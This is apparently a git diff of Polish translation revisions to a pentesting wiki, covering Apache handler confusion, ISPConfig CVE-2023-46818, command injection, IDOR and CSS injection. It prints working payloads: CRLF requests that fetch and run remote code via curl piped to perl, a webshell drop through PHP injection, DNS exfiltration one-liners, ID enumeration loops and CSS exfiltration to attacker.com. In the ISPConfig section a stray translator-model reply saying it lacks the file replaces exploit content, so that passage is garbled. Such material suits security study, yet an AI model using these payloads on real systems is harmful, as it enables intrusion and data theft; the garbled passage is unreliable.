 
-W [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) przedstawiono podatność, gdzie nieprawidłowy nagłówek `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie **zwróci kod źródłowy PHP**. Wynikało to z problemu obsługi błędów z ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\  
-Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
+W [**tę prezentację**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) zaprezentowano podatność, w której niepoprawny `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie zwróci kod źródłowy PHP. Wynikało to z problemu z obsługą błędów w ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\
+Ponieważ ModSecurity nie obsługuje prawidłowo wartości zwracanych, zwróciłby kod PHP i nie zinterpretowałby go.
 
 #### **Overwrite Handler to XXXX**
 
-TODO: Orange jeszcze nie ujawnił tej luki
+TODO: Orange jeszcze nie ujawnił tej podatności
 
-### **Invoke Arbitrary Handlers**
+### **Wywoływanie dowolnych handlerów**
 
-Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie w stanie **wywołać dowolne module handlers**. Jednak w momencie, gdy atakujący to kontroluje, większość procesu requestu będzie już wykonana. Mimo to możliwe jest **ponowne uruchomienie procesu requestu poprzez nadużycie nagłówka `Location`**, ponieważ jeśli zwrócony `Status` jest 200 i nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako Server-Side Redirection i powinna być przetworzona
+Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie mógł **wywołać dowolne modułowe handlery**. Jednak w momencie, gdy atakujący to kontroluje, większość procesu żądania będzie już wykonana. Możliwe jest jednak **ponowne uruchomienie procesu żądania wykorzystując nagłówek `Location`**, ponieważ jeśli zwrócony `Status` jest 200 i nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako Server-Side Redirection i powinna być przetworzona
 
-Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) zdefiniowano zachowanie Local Redirect Response:
+Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definiuje zachowanie Local Redirect Response:
 
 > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
 
-Dlatego, aby wykonać ten atak, potrzebna jest jedna z następujących podatności:
+Dlatego, aby przeprowadzić ten atak, potrzebna jest jedna z następujących podatności:
 
 - CRLF Injection w nagłówkach odpowiedzi CGI
-- SSRF z pełną kontrolą nad nagłówkami odpowiedzi
+- SSRF z pełną kontrolą nagłówków odpowiedzi
 
-#### **Arbitrary Handler to Information Disclosure**
+#### **Dowolny handler prowadzący do ujawnienia informacji**
 
-Na przykład `/server-status` powinien być dostępny tylko lokalnie:
+Na przykład /server-status powinien być dostępny tylko lokalnie:
 ```xml
 <Location /server-status>
 SetHandler server-status
 Require local
 </Location>
 ```
-Można uzyskać do niego dostęp ustawiając `Content-Type` na `server-status` oraz nagłówek Location zaczynający się od `/`.
+Można uzyskać do niego dostęp, ustawiając nagłówek `Content-Type` na `server-status` oraz nagłówek Location zaczynający się od `/`.
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **Przejście z Arbitrary Handler do pełnego SSRF**
+#### **Arbitrary Handler to Full SSRF**
 
-Przekierowywanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu pod dowolnym adresem URL:
+Przekierowanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu pod dowolnym URL:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -243,11 +243,11 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-Jednak nagłówek `X-Forwarded-For` jest dodawany, uniemożliwiając dostęp do endpointów metadanych chmury.
+Jednak nagłówek `X-Forwarded-For` jest dodawany, co uniemożliwia dostęp do endpointów metadanych chmury.
 
-#### **Dowolny handler do uzyskania dostępu do lokalnego Unix Domain Socket**
+#### **Arbitrary Handler to Access Local Unix Domain Socket**
 
-Uzyskaj dostęp do lokalnego Unix Domain Socket PHP-FPM, aby wykonać PHP backdoor znajdujący się w `/tmp/`:
+Uzyskaj dostęp do lokalnego Unix Domain Socket PHP-FPM, aby uruchomić PHP backdoor znajdujący się w `/tmp/`:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
 ```
 #### **Arbitrary Handler to RCE**
 
-Oficjalny obraz [PHP Docker](https://hub.docker.com/_/php) zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP w linii poleceń, które można nadużyć, aby uzyskać RCE:
+Oficjalny obraz [PHP Docker](https://hub.docker.com/_/php) zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP z linii poleceń, które można wykorzystać do uzyskania RCE:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@@ -265,9 +265,9 @@ orange.tw/x|perl
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-Zapoznaj się z [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), autorstwa [Phith0n](https://x.com/phithon_xg), aby poznać szczegóły tej techniki.
+Sprawdź [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), autorstwa [Phith0n](https://x.com/phithon_xg), aby uzyskać szczegóły tej techniki.
 
-## Referencje
+## Źródła
 
 - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
 - [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)

src/network-services-pentesting/pentesting-web/ispconfig.md

@@ -4,13 +4,13 @@
 
 ## Przegląd
 
-ISPConfig to otwarto-źródłowy panel do zarządzania hostingiem. Starsze wersje 3.2.x zawierały funkcję edytora plików językowych, która, gdy była włączona dla super administratora, pozwalała na wstrzyknięcie dowolnego kodu PHP za pomocą sfałszowanego rekordu tłumaczenia. Może to prowadzić do RCE w kontekście serwera WWW i, w zależności od sposobu uruchamiania PHP, do privilege escalation.
+ISPConfig to open-source panel kontrolny hostingu. Starsze wersje 3.2.x zawierały funkcję edytora plików językowych, która po włączeniu dla super administratora pozwalała na wstrzyknięcie dowolnego kodu PHP za pomocą nieprawidłowego rekordu tłumaczenia. Może to dać RCE w kontekście serwera WWW i, w zależności od sposobu uruchamiania PHP, eskalację uprawnień.
 
 Kluczowe domyślne ścieżki:
-- Katalog główny serwera WWW często znajduje się w `/var/www/ispconfig` gdy serwowane za pomocą `php -S` lub przez Apache/nginx.
-- Interfejs administracyjny dostępny na vhost HTTP(S) (czasami powiązany tylko z localhost; użyj przekierowania portu SSH, jeśli to konieczne).
+- Web root często w `/var/www/ispconfig` kiedy serwowane przy użyciu `php -S` lub przez Apache/nginx.
+- Admin UI dostępny na HTTP(S) vhost (czasami związany tylko z localhost; użyj SSH port-forward jeśli to konieczne).
 
-Wskazówka: Jeśli panel jest związany lokalnie (np. `127.0.0.1:8080`), przekieruj go:
+Porada: Jeśli panel jest związany lokalnie (np. `127.0.0.1:8080`), przekieruj go:
 ```bash
 ssh -L 9001:127.0.0.1:8080 user@target
 # then browse http://127.0.0.1:9001
@@ -19,21 +19,21 @@ ssh -L 9001:127.0.0.1:8080 user@target
 
 - Dotyczy: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
 - Warunki wstępne:
-- Zaloguj się jako wbudowane konto superadmin `admin` (inne role nie są dotknięte według dostawcy)
-- Edytor języka musi być włączony: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
-- Skutek: Uwierzytelniony admin może wstrzyknąć dowolny kod PHP, który zostanie zapisany w pliku językowym i wykonany przez aplikację, osiągając RCE w kontekście web
+- Zaloguj się jako wbudowane konto superadmin `admin` (inne role nie są dotknięte zgodnie z dostawcą)
+- Edytor języka musi być włączony: `admin_allow_langedit=yes` w `/usr/local/ispconfig/security/security_settings.ini`
+- Wpływ: Uwierzytelniony admin może wstrzyknąć dowolny kod PHP, który zostanie zapisany do pliku językowego i wykonany przez aplikację, co prowadzi do RCE w kontekście webowym
 
-References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
+Referencje: wpis NVD CVE-2023-46818 oraz link do advisory producenta w sekcji Referencje poniżej.
 
-### Manual exploitation flow
+### Ręczna procedura eksploatacji
 
-1) Open/create a language file to obtain CSRF tokens
+1) Otwórz/utwórz plik językowy, aby uzyskać tokeny CSRF
 
 Wyślij pierwsze żądanie POST, aby zainicjować formularz i sparsować pola CSRF z odpowiedzi HTML (`csrf_id`, `csrf_key`). Przykładowa ścieżka żądania: `/admin/language_edit.php`.
 
-2) Inject PHP via records[] and save
+2) Wstrzyknij PHP przez records[] i zapisz
 
-Wyślij drugie żądanie POST zawierające pola CSRF oraz złośliwy wpis tłumaczenia. Minimalne próby wykonania poleceń:
+Wyślij drugie żądanie POST zawierające pola CSRF oraz złośliwy rekord tłumaczenia. Minimalne próby wykonania polecenia:
 ```http
 POST /admin/language_edit.php HTTP/1.1
 Host: 127.0.0.1:9001
@@ -42,13 +42,13 @@ Cookie: ispconfig_auth=...
 
 lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
 ```
-Test poza pasmem (obserwuj ICMP):
+Out-of-band test (obserwuj ICMP):
 ```http
 records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
 ```
-3) Zapisz pliki i wgraj webshell
+3) Zapisz pliki i umieść webshell
 
-Użyj `file_put_contents`, aby utworzyć plik w ścieżce dostępnej przez web (np. `admin/`):
+Użyj `file_put_contents`, aby utworzyć plik w ścieżce dostępnej z internetu (np. `admin/`):
 ```http
 records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
 ```
@@ -56,32 +56,32 @@ Następnie napisz prosty webshell używając base64, aby uniknąć niepożądany
 ```http
 records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
 ```
-Nie otrzymałem zawartości pliku. Proszę wklej treść pliku src/network-services-pentesting/pentesting-web/ispconfig.md albo wskaż, które sekcje przetłumaczyć. Zachowam oryginalne znaczniki, linki, ścieżki i kod.
+I don't have access to your repository. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md (or upload the file). I will translate the English text to Polish, preserving all code, links, tags and markdown/html syntax per your rules.
 ```bash
 curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
 ```
-Jeśli PHP jest uruchamiane jako root (np. przez `php -S 127.0.0.1:8080` uruchomione przez root), daje to natychmiastowe RCE jako root. W przeciwnym razie uzyskujesz wykonanie kodu jako użytkownik serwera WWW.
+Jeśli PHP jest uruchamiany jako root (np. przez `php -S 127.0.0.1:8080` uruchomione przez root), daje to natychmiastowe root RCE. W przeciwnym razie uzyskujesz wykonanie kodu jako użytkownik serwera WWW.
 
 ### Python PoC
 
-Gotowy exploit automatyzuje obsługę tokenów i dostarczanie payloadu:
+Gotowy do użycia exploit automatyzuje obsługę tokenów i dostarczanie payloadu:
 - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
 
 Przykładowe uruchomienie:
 ```bash
 python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
 ```
-### Wzmacnianie zabezpieczeń
+### Utwardzanie
 
 - Zaktualizuj do 3.2.11p1 lub nowszej
-- Wyłącz edytor języków, chyba że jest to ściśle konieczne:
+- Wyłącz edytor języka, chyba że jest to absolutnie konieczne:
 ```
 admin_allow_langedit=no
 ```
 - Unikaj uruchamiania panelu jako root; skonfiguruj PHP-FPM lub serwer WWW tak, aby obniżał uprawnienia
-- Wymagaj silnego uwierzytelniania dla wbudowanego konta `admin`
+- Wymuś silne uwierzytelnianie dla wbudowanego konta `admin`
 
-## Źródła
+## Referencje
 
 - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
 - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)

src/pentesting-web/command-injection.md

@@ -2,13 +2,13 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Czym jest command Injection?
+## Co to jest command Injection?
 
-A **command injection** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i systemem bazowym.
+A **command injection** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i podlegającym jej systemem.
 
 ### Kontekst
 
-W zależności od tego, **gdzie jest wstrzykiwane twoje wejście**, może być konieczne **zakończenie kontekstu cytowanego** (używając `"` lub `'`) przed poleceniami.
+W zależności od tego, **gdzie wstrzykiwane jest twoje wejście**, może być konieczne **zamknięcie kontekstu cytowania** (używając `"` lub `'`) przed poleceniami.
 
 ## Command Injection/Execution
 ```bash
@@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 ```
 ### **Ograniczenia** Bypasses
 
-Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux**, zainteresuje Cię lektura o tych **Bypasses:**
+Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux** zainteresuje cię lektura o tych **Bypasses:**
 
 
 {{#ref}}
@@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parametry
 
-Oto 25 parametrów, które mogą być podatne na code injection i podobne podatności RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Poniżej znajduje się lista 25 parametrów, które mogą być podatne na code injection i podobne podatności RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Narzędzia online do sprawdzenia DNS based data exfiltration:
+Narzędzia online do sprawdzania eksfiltracji danych przez DNS:
 
 - dnsbin.zhack.ca
 - pingb.in
 
-### Filtering bypass
+### Ominięcie filtrowania
 
 #### Windows
 ```
@@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
 
 ### Node.js `child_process.exec` vs `execFile`
 
-Podczas audytu back-endów w JavaScript/TypeScript często napotkasz API Node.js `child_process`.
+Podczas audytowania back-endów JavaScript/TypeScript często natkniesz się na Node.js `child_process` API.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak, który ma specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane w stringu.
+`exec()` spawns a **shell** (`/bin/sh -c`), dlatego każdy znak, który ma specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) doprowadzi do **command injection**, gdy dane wejściowe użytkownika będą konkatenowane w stringu.
 
-**Mitigation:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, tak aby nie był używany żaden shell:
+**Mitigation:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, tak aby nie był używany shell:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,21 +140,21 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Real-world case: *Synology Photos* ≤ 1.7.0-0794 był podatny na atak poprzez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później zostały osadzone w wywołaniu `exec()` i doprowadziły do RCE (Pwn2Own Ireland 2024).
+Przykład z realnego świata: *Synology Photos* ≤ 1.7.0-0794 było podatne na atak poprzez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później były osadzane w wywołaniu `exec()`, co prowadziło do RCE (Pwn2Own Ireland 2024).
 
-## Brute-Force — lista wykrywania
+## Lista wykrywania Brute-Force
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
 {{#endref}}
 
-## Referencje
+## Źródła
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
-- [Ekstrakcja zaszyfrowanych archiwów Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
+- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
 - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
 - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
 

src/pentesting-web/idor.md

@@ -2,23 +2,23 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) występuje, gdy endpoint webowy lub API ujawnia lub akceptuje sterowalny przez użytkownika identyfikator, który jest używany **bezpośrednio** do dostępu do wewnętrznego obiektu **bez sprawdzenia, czy wywołujący ma uprawnienia** do dostępu/modyfikacji tego obiektu.
-Udana eksploatacja zazwyczaj pozwala na poziomą lub pionową privilege-escalation, np. na odczyt lub modyfikację danych innych użytkowników, a w najgorszym wypadku na full account takeover lub mass-data exfiltration.
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) występuje, gdy endpoint webowy lub API ujawnia lub przyjmuje identyfikator kontrolowany przez użytkownika, który jest używany **bezpośrednio** do dostępu do wewnętrznego obiektu **bez weryfikacji, czy wywołujący jest uprawniony** do dostępu/modyfikacji tego obiektu.
+Udana eksploatacja zazwyczaj pozwala na horizontal or vertical privilege-escalation, takie jak czytanie lub modyfikowanie danych innych użytkowników, a w najgorszym wypadku full account takeover lub mass-data exfiltration.
 
 ---
-## 1. Identifying Potential IDORs
+## 1. Identyfikacja potencjalnych IDOR
 
-1. Look for **parameters that reference an object**:
-* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
-* Query: `?id=42`, `?invoice=2024-00001`
+1. Szukaj **parametrów, które odnoszą się do obiektu**:
+* Ścieżka: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
+* Zapytanie: `?id=42`, `?invoice=2024-00001`
 * Body / JSON: `{"user_id": 321, "order_id": 987}`
-* Headers / Cookies: `X-Client-ID: 4711`
-2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`).
-3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists.
-4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs.
-5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.
+* Nagłówki / Cookies: `X-Client-ID: 4711`
+2. Preferuj endpointy, które **odczytują lub aktualizują** dane (`GET`, `PUT`, `PATCH`, `DELETE`).
+3. Zwróć uwagę, gdy identyfikatory są **kolejne lub przewidywalne** – jeśli Twój ID to `64185742`, to `64185741` prawdopodobnie istnieje.
+4. Przeszukaj ukryte lub alternatywne przepływy (np. *"Paradox team members"* link na stronach logowania), które mogą ujawnić dodatkowe API.
+5. Użyj **uwierzytelnionej sesji o niskich uprawnieniach** i zmieniaj tylko ID **zachowując ten sam token/cookie**. Brak błędu autoryzacji zwykle oznacza IDOR.
 
-### Quick manual tampering (Burp Repeater)
+### Szybka ręczna manipulacja (Burp Repeater)
 ```
 PUT /api/lead/cem-xhr HTTP/1.1
 Host: www.example.com
@@ -27,7 +27,7 @@ Content-Type: application/json
 
 {"lead_id":64185741}
 ```
-### Zautomatyzowana enumeracja (Burp Intruder / curl loop)
+### Automatyczna enumeracja (Burp Intruder / curl loop)
 ```bash
 for id in $(seq 64185742 64185700); do
 curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@@ -38,33 +38,33 @@ done
 ```
 ---
 
-### Error-response oracle for user/file enumeration
+### Error-response oracle dla enumeracji użytkowników/plików
 
-Gdy download endpoint akceptuje zarówno username, jak i filename (np. `/view.php?username=<u>&file=<f>`), subtelne różnice w komunikatach o błędach często tworzą oracle:
+Gdy endpoint pobierania akceptuje zarówno username, jak i filename (np. `/view.php?username=<u>&file=<f>`), subtelne różnice w komunikatach o błędach często tworzą oracle:
 
 - Nieistniejący username → "User not found"
-- Zły filename, ale prawidłowe rozszerzenie → "File does not exist" (czasami również wypisuje dostępne pliki)
-- Złe rozszerzenie → błąd walidacji
+- Błędny filename, ale poprawne extension → "File does not exist" (czasami również listuje dostępne pliki)
+- Błędne extension → błąd walidacji
 
-Mając dowolną uwierzytelnioną sesję, możesz fuzzować parametr username przy trzymaniu benign filename i filtrować po ciągu "user not found", aby odkryć prawidłowych użytkowników:
+W ramach dowolnej uwierzytelnionej sesji możesz fuzzować parametr username, podając poprawny filename i filtrować po ciągu "User not found", aby odkryć prawidłowych użytkowników:
 ```bash
 ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
 -b 'PHPSESSID=<session-cookie>' \
 -w /opt/SecLists/Usernames/Names/names.txt \
 -fr 'User not found'
 ```
-Po zidentyfikowaniu prawidłowych nazw użytkowników, zażądaj konkretnych plików bezpośrednio (np. `/view.php?username=amanda&file=privacy.odt`). Ten wzorzec często prowadzi do nieautoryzowanego ujawnienia dokumentów innych użytkowników oraz wycieku poświadczeń.
+Gdy zidentyfikowano prawidłowe nazwy użytkowników, żądaj bezpośrednio konkretnych plików (np. `/view.php?username=amanda&file=privacy.odt`). Ten schemat często prowadzi do nieuprawnionego ujawnienia dokumentów innych użytkowników oraz credential leakage.
 
 ---
-## 2. Real-World Case Study – McHire Chatbot Platform (2025)
+## 2. Studium przypadku – McHire Chatbot Platform (2025)
 
-Podczas oceny portalu rekrutacyjnego Paradox.ai-powered **McHire** odkryto następujący IDOR:
+Podczas oceny portalu rekrutacyjnego **McHire** opartego na Paradox.ai odkryto następujący IDOR:
 
 * Endpoint: `PUT /api/lead/cem-xhr`
-* Authorization: ciasteczko sesji użytkownika dla **dowolnego** konta testowego restauracji
-* Body parameter: `{"lead_id": N}` – 8-cyfrowy, **sekwencyjny** identyfikator numeryczny
+* Authorization: cookie sesji użytkownika dla **dowolnego** konta testowego restauracji
+* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier
 
-Zmniejszając `lead_id`, tester pobrał dowolnych kandydatów **pełne PII** (imię i nazwisko, e-mail, telefon, adres, preferencje zmian) oraz konsumencki **JWT**, który umożliwił przejęcie sesji. Enumeracja zakresu `1 – 64,185,742` ujawniła około **64 million** rekordów.
+Zmniejszając wartość `lead_id` tester pobrał dowolnych kandydatów z pełnymi **PII** (name, e-mail, phone, address, shift preferences) oraz consumer **JWT**, który umożliwiał session hijacking. Enumeracja zakresu `1 – 64,185,742` ujawniła około **64 million** rekordów.
 
 Proof-of-Concept request:
 ```bash
@@ -72,23 +72,23 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 -H 'Content-Type: application/json' \
 -d '{"lead_id":64185741}'
 ```
-W połączeniu z domyślnymi danymi administratora (`123456:123456`), które zapewniały dostęp do konta testowego, podatność doprowadziła do krytycznego wycieku danych obejmującego całą firmę.
+W połączeniu z **default admin credentials** (`123456:123456`), które zapewniały dostęp do konta testowego, luka doprowadziła do krytycznego naruszenia danych obejmującego całą firmę.
 
 ---
 ## 3. Wpływ IDOR / BOLA
-* Eskalacja pozioma – odczyt/modyfikacja/usunięcie danych **innych użytkowników**.
-* Eskalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalności dostępne tylko dla administratorów.
-* Masowy wyciek danych, jeśli identyfikatory są sekwencyjne (np. ID kandydatów, faktury).
-* Przejęcie konta poprzez kradzież tokenów lub resetowanie haseł innych użytkowników.
+* Escalacja pozioma – read/update/delete **danych innych użytkowników**.
+* Escalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalności dostępne tylko dla adminów.
+* Masowy wyciek danych, jeśli identyfikatory są sekwencyjne (np. applicant IDs, invoices).
+* Przejęcie konta przez kradzież tokenów lub resetowanie haseł innych użytkowników.
 
 ---
-## 4. Środki zaradcze i najlepsze praktyki
-1. **Enforce object-level authorization** on every request (`user_id == session.user`).
-2. Preferuj **indirect, unguessable identifiers** (UUIDv4, ULID) zamiast autoinkrementujących ID.
-3. Wykonuj autoryzację **server-side**, nigdy nie polegaj na ukrytych polach formularzy ani kontrolkach UI.
-4. Zaimplementuj **RBAC / ABAC** checks w centralnym middleware.
+## 4. Środki zaradcze i dobre praktyki
+1. **Wymuszaj autoryzację na poziomie obiektów** dla każdego żądania (`user_id == session.user`).
+2. Preferuj **pośrednie, niezgadywalne identyfikatory** (UUIDv4, ULID) zamiast auto-increment IDs.
+3. Wykonuj autoryzację **po stronie serwera**, nie polegaj na ukrytych polach formularzy ani kontrolkach UI.
+4. Zaimplementuj **RBAC / ABAC** w centralnym middleware.
 5. Dodaj **rate-limiting & logging** aby wykrywać enumerację identyfikatorów.
-6. Testuj bezpieczeństwo każdego nowego endpointu (unit, integration, and DAST).
+6. Testuj bezpieczeństwo każdego nowego endpointu (unit, integration, oraz DAST).
 
 ---
 ## 5. Narzędzia
@@ -98,9 +98,9 @@ W połączeniu z domyślnymi danymi administratora (`123456:123456`), które zap
 
 
 
-## Źródła
-* [Platforma McHire Chatbot: domyślne dane logowania i IDOR ujawniają dane osobowe 64 mln kandydatów](https://ian.sh/mcdonalds)
+## References
+* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
 * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
-* [Jak znaleźć więcej IDORów – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
-* [HTB Nocturnal: IDOR oracle → kradzież plików](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
+* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/xs-search/css-injection/README.md

@@ -4,9 +4,9 @@
 
 ## CSS Injection
 
-### Selektor atrybutu
+### Attribute Selector
 
-Selektory CSS są skonstruowane tak, aby dopasowywać wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut `value` elementu `input` zaczyna się od określonego znaku, ładowany jest wstępnie zdefiniowany zewnętrzny zasób:
+Selektory CSS są tworzone, aby dopasować wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut `value` elementu `input` zaczyna się od określonego znaku, ładowany jest wstępnie zdefiniowany zewnętrzny zasób:
 ```css
 input[name="csrf"][value^="a"] {
 background-image: url(https://attacker.com/exfil/a);
@@ -19,29 +19,29 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-Jednak to podejście napotyka ograniczenie w przypadku ukrytych elementów input (`type="hidden"`), ponieważ elementy ukryte nie ładują tła.
+Jednak to podejście napotyka ograniczenie przy obsłudze ukrytych elementów input (`type="hidden"`), ponieważ ukryte elementy nie ładują tła.
 
 #### Obejście dla ukrytych elementów
 
